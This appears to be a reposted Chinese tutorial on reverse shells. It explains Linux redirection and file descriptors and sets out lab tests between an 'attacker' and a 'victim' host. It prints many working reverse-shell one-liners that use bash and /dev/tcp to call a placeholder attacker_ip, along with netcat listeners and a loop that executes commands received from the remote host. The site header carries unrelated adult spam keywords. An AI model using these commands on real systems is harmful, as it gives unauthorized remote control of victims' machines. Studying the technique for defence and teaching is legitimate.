日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

反彈shell(reverse shell)

就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。

攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

深入理解文件描述符和重定向才能更好弄懂反彈shell。

場景

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

2.目標機器的ip動態改變,你不能持續控制。

3.建立一個服務端讓惡意程序主動連接,持久化。

4.防火墻受限,不能由外向內建立連接(不接受外部連接)。(通過傳輸層協議的全雙工通信實現交互)

備注:

全雙工傳輸 (Full-Duplex Transmissions)

交換機在發送數據的同時也能夠接收數據,兩者同步進行,這好像我們平時打電話一樣,說話的同時也能夠聽到對方的聲音。目前的交換機都支持全雙工。

單工數據傳輸只支持數據在一個方向上傳輸;在同一時間只有一方能接受或發送信息,不能實現雙向通信,舉例:電視,廣播,計算機與打印機之間的通信是單工模式。

半雙工數據傳輸允許數據在兩個方向上傳輸,但是,在某一時刻,只允許數據在一個方向上傳輸,它實際上是一種切換方向的單工通信;在同一時間只可以有一方接受或發送信息,可以實現雙向通信。舉例:對講機。

WIKI的定義

全雙工(full-duplex)的系統允許二臺設備間同時進行雙向數據傳輸。一般的電話、手機就是全雙工的系統,因為在講話時同時也可以聽到對方的聲音。全雙工的系統可以用一般的雙向車道形容。兩個方向的車輛因使用不同的車道,因此不會互相影響。

實驗

測試一:

攻擊端:

[root@attacker]# nc -lvp 2333            //第一步
Connection from victim_ip:38712
Docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether XXXXXXXXXX  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.181.6  netmask 255.255.240.0  broadcast 172.22.191.255
        inet6 fe80::216:3eff:fe0e:9d06  prefixlen 64  scopeid 0x20<link>

//測試結果:實現了將受害端的標準輸出重定向到攻擊端,但是還沒實現用命令控制受害端。

受害端:

[root@victim]# bash -i > /dev/tcp/attacker_ip/2333  //第二步
[root@victim]# ifconfig                //第三步
[root@victim]#

測試二:

攻擊端:

[root@attacker]# nc -lvp 2333         //第一步
Connection from victim_ip:38286
hostname                   //第三步(攻擊端執行命令)
id
whoami

受害端:

[root@victim]# bash -i < /dev/tcp/attacker_ip/2333    //第二步
[root@victim]# hostname    
attacker
[root@victim]# id
uid=0(root) gid=0(root) groups=0(root)
[root@victim]# whoami
root
[root@victim]#

//測試結果:實現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。

底層原理

輸出重定向 >,相當于 1>,輸入重定向 <,相當于0<,如果要使用錯誤輸出,寫成 2>。

例如,把正確的結果放到test.txt,而把錯誤的結果放到test2.txt文件中:

反彈shell那些事兒

 

在正常輸入的命令結尾加上2>&1,這個語句可以理解為將錯誤輸出與標準輸出一致,也就是將他們輸出到一個文件中:

反彈shell那些事兒

 

這里的&符號是為了區分文件跟文件描述符的,如果這里沒有&符號,系統會把它(1)理解為文件,而不是標準輸出

同理,在錯誤輸出的命令結尾加上1>&2,這個語句可以理解為將標準輸出與錯誤輸出一致,也就是將他們輸出到一個文件中:

反彈shell那些事兒

 

查看一個進程打開了哪些文件:

[root@lee]# nc -lvp 2333 

[root@lee]# netstat -ntlp|grep 2333
tcp        0      0 0.0.0.0:2333   0.0.0.0:*  LISTEN      16303/nc

/proc/[進程ID]/fd這個目錄專門用于存放文件描述符

[root@lee]# ll /proc/16303/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416]
lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1
cd /dev/pts 

ll
反彈shell那些事兒

 

上圖的多個tty我理解為交互式shell(終端)的數量。tty設備包括虛擬控制臺,串口以及偽終端設備。

上圖我用xshell起了7個交互式shell,都關閉只保留一個時:

反彈shell那些事兒

 

/dev

dev是設備(device)的英文縮寫。這個目錄中包含了所有linux系統中使用的外部設備。是一個訪問這些外部設備的端口。我們可以非常方便地去訪問這些外部設備,和訪問一個文件,一個目錄沒有任何區別。(Linux一切皆文件)

/dev/null

/dev/null 它是空設備,也稱為位桶(bit bucket)或者黑洞(black hole)。你可以向它輸入任何數據,但任何寫入它的數據都會被拋棄。通常用于處理不需要的輸出流。(當然,它也可以作為空的輸入流)

例如:

反彈shell那些事兒

 

/dev/zero

/dev/zero

創建一個為NULL填充的文件。

dd if=/dev/zero of=foobar count=2 bs=1024 

dd:用指定大小的塊拷貝一個文件,并在拷貝的同時進行指定的轉換。
反彈shell那些事兒

 

linux命令總結dd命令詳解

/dev/pty

偽終端(/dev/pty/)

偽終端(Pseudo Terminal)是成對的邏輯終端設備(即master和slave設備, 對master的操作會反映到slave上)。

/dev/tty

/dev/tty是當前進程的控制終端的設備特殊文件。

其他

/dev/hd[a-t]:IDE設備
/dev/sd[a-z]:SCSI設備
/dev/fd[0-7]:標準軟驅
/dev/md[0-31]:軟raid設備
/dev/loop[0-7]:本地回環設備
/dev/ram[0-15]:內存
/dev/null:無限數據接收設備,相當于黑洞
/dev/zero:無限零資源
/dev/tty[0-63]:虛擬終端
/dev/ttyS[0-3]:串口
/dev/lp[0-3]:并口
/dev/console:控制臺
/dev/fb[0-31]:framebuffer
/dev/cdrom => /dev/hdc
/dev/modem => /dev/ttyS[0-9]
/dev/pilot => /dev/ttyS[0-9]
/dev/random:隨機數設備
/dev/urandom:隨機數設備

bash -i >& /dev/tcp/ip/port 0>&1

bash -i 表示創建一個交互式的shell

/dev/tcp/ip/port,這個文件不是存在的,但是當你在監聽這個端口的時候,對這個文件進行讀寫,就可以實現兩個主機之間的socket通信

首先我們在攻擊機開啟監聽,然后在Linux機器上輸入下面的命令,即將指定字符通過tcp協議發送到攻擊機的2333端口:

echo 1 > /dev/tcp/attacker_ip/2333

攻擊機監聽:

nc -lvp 2333
Connection from victim_ip:49948
1

UDP發包同理:

echo 2 > /dev/udp/attacker_ip/2333

攻擊機監聽:

nc -luvp 2333
Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local)
1

2>&1 將錯誤輸出和標準輸出輸出到同一個文件(Linux一切皆文件):

靶機:

echo1 1> /dev/tcp/attacker_ip/2333 2>&1

攻擊機:

[root@attacker ~]# nc -lvp 2333
Connection from victim_ip:5479
-bash: echo1: command not found

通過 <將標準輸出改成標準輸入:

靶機:

cat < /dev/tcp/attacker_ip/2333
qwer
asdf

攻擊機:

nc -lvp 2333 
Connection from victim_ip:23610
qwer
asdf

在攻擊機傳輸的內容會被重定向到靶機。

輸入重定向原理:

反彈shell那些事兒

 

掌握了上面的原理,可以隨意構建反彈shell命令:

攻擊:

nc -lvp 2333

靶機:

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0

或:

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 
bash -i < /dev/tcp/ip/2333 >&0 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0

其他變形:

bash -i 1>& /dev/tcp/ip/port 0>&1 
bash -i 1>& /dev/tcp/ip/port 0>&2 
bash -i &> /dev/tcp/ip/port 0>&1 
bash -i &> /dev/tcp/ip/port 0>&2

bash -i后的&>或>&表示混合輸出,即標準輸出1 + 錯誤輸出2

bash 和 sh 的一點兒區別

sh 遵循POSIX規范:“當某行代碼出錯時,不繼續往下解釋”。bash 就算出錯,也會繼續向下執行。

簡單說,sh是bash的一種特殊的模式,sh就是開啟了POSIX標準的bash, /bin/sh 相當于 /bin/bash --posix

在Linux系統上/bin/sh往往是指向/bin/bash的符號鏈接

ln -s /bin/bash /bin/sh

其他變形

Unix操作系統通常給每個進程能打開的文件數量強加一個限制,ulimit -n查看系統默認的文件描述符個數。

例如:

# ulimit -n
655360

表示系統支持的文件描述符 0-655359

page 1:

打開"File"并且將fd 655359分配給它:

[j]<>filename
# 為了讀寫"filename", 把文件"filename"打開, 并且將文件描述符"j"分配給它.
# 如果文件"filename"不存在, 那么就創建它.

eg:

exec 655359<> File    
反彈shell那些事兒

 

&- 關閉標準輸出

n&- 表示將n號輸出關閉

page2:

攻擊機:

[root@attacker]# nc -lvp 2333             # 第一步
Connection from victim_ip:46414
helloworld                                # 第三步
123

受害機:

[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333  # 第二步
[root@victim]# cat <&65534
helloworld
123

受害機的文件描述符同步讀取到攻擊機的寫入。

page3:

[root@attacker]# nc -lvp 2333
Connection from victim_ip:46536
id
11

受害機:

[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;done
uid=0(root) gid=0(root) groups=0(root)
-bash: 11: command not found

分享到:
標簽:shell
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定